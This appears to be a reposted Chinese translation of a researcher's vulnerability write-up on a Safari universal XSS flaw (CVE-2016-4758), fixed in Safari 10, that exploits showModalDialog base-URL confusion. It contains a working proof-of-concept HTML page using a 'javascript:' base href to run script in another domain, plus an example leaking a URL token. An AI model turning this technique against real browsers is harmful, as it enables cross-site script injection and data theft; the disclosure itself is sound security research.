Safari UXSS漏洞分析(CVE-2016-4758)

时间:2022-05-06
本文章向大家介绍Safari UXSS漏洞分析(CVE-2016-4758),主要内容包括漏洞利用条件、漏洞详情、扩展 XSS 攻击、总结、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

本文翻译自:

原作者:Masato Kinugawa

译者:Holic (知道创宇404安全实验室)

译者注:截止翻译日期,日文版又更新了一些内容,本文基于英文版原文翻译,部分增加的内容翻自日文原版。

本篇文章分享了Safari UXSS漏洞(CVE-2016-4758)的有关细节,该漏洞在Safari 10 被修复。

官方链接:https://support.apple.com/en-us/HT207157

WebKit Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12 Impact: Visiting a maliciously crafted website may leak sensitive data Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks. CVE-2016-4758: Masato Kinugawa of Cure53

漏洞条件供参考,移动版Safari不受漏洞影响,因为没有showModalDialog方法。IE的showModalDialog可能使用了XSS保护机制,相关的内容可以参考以下链接: http://masatokinugawa.l0.cm/2015/06/xss6.html

原作者注:

顺便说一句,在整理博客周边行为的时候,注意到了更严重的问题,下面开始写的便是这个”严重问题“

漏洞利用条件

在利用此漏洞进行攻击之前,有两个前提条件: 1. 目标页面使用JavaScript导向至相对URL。(比如location="/", window.open("/","_blank")) 2. 跳转在页面加载之后进行

原作者搭建了一个测试页面:https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html

<script>  
function go_top(){  
 location="/index.html";
}
</script>  
<button onclick=go_top()>Top Page</button>  

这个页面就是为了在用户点击"Top Page"的时候跳转到https://vulnerabledoma.in/index.html 。 我认为像这样的页面到处都是,而在这种情况下我们可以利用这个BUG展开XSS攻击。

漏洞详情

现在使用showModalDialog方法。下述页面只在modal dialog(模式窗口)中打开。

https://l0.cm/safari_uxss_showModalDialog/example.html

<script>
function go(){   showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>  
<button onclick=go()>go</button>  

点击”Top Page“按钮后再modal dialog中会发生什么呢?无需多言,将会访问https://vulnerabledoma.in/index.html

然而在Safari中却不相同。Safari出乎意料地跳转到了https://l0.cm/index.html 页面去。很明显Safari搞混了父窗口和modal窗口的基地址。

这时,在相对URL包含私密信息的情况下,可以使用无关页面获得私密信息。

<script>  
function navigation(){  
 location="/test?token=abb29ad9adda09";//获得的私密信息
}
</script>  
<button onclick=navigation()>Click</button>  

这是十分危险的行为,这里还可以进一步开展XSS攻击。

(边注:此行为仅存在于JavaScript navigation API中,例如<a>标签和xhr.open("GET",[URL]) 使用正确的URL。)

扩展 XSS 攻击

根据 html5sec.org#42, Safari 允许将javascript: URL设置为base tag。 因此,如果将javascript标签设置为父页面的base tag的话,将会导致XSS漏洞。

我的猜想得到了证实。下面是最终PoC:

https://l0.cm/safari_uxss_showModalDialog/

<!DOCTYPE html>  
<html>  
<head>  
<base href="javascript://%0Aalert%28document.domain%29%2F/">  
</head>  
<body>  
<script>  
function go(){   showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>  
<button onclick=go()>go</button>  
</body>  
</html>  

正常情况的话,点击"Top Page"按钮时,你将会看到alert会话窗口如下:

Yay!

总结

原作者于2015年六月15日报告此漏洞,在此之前这个bug已经在WebKit中存在一年多了。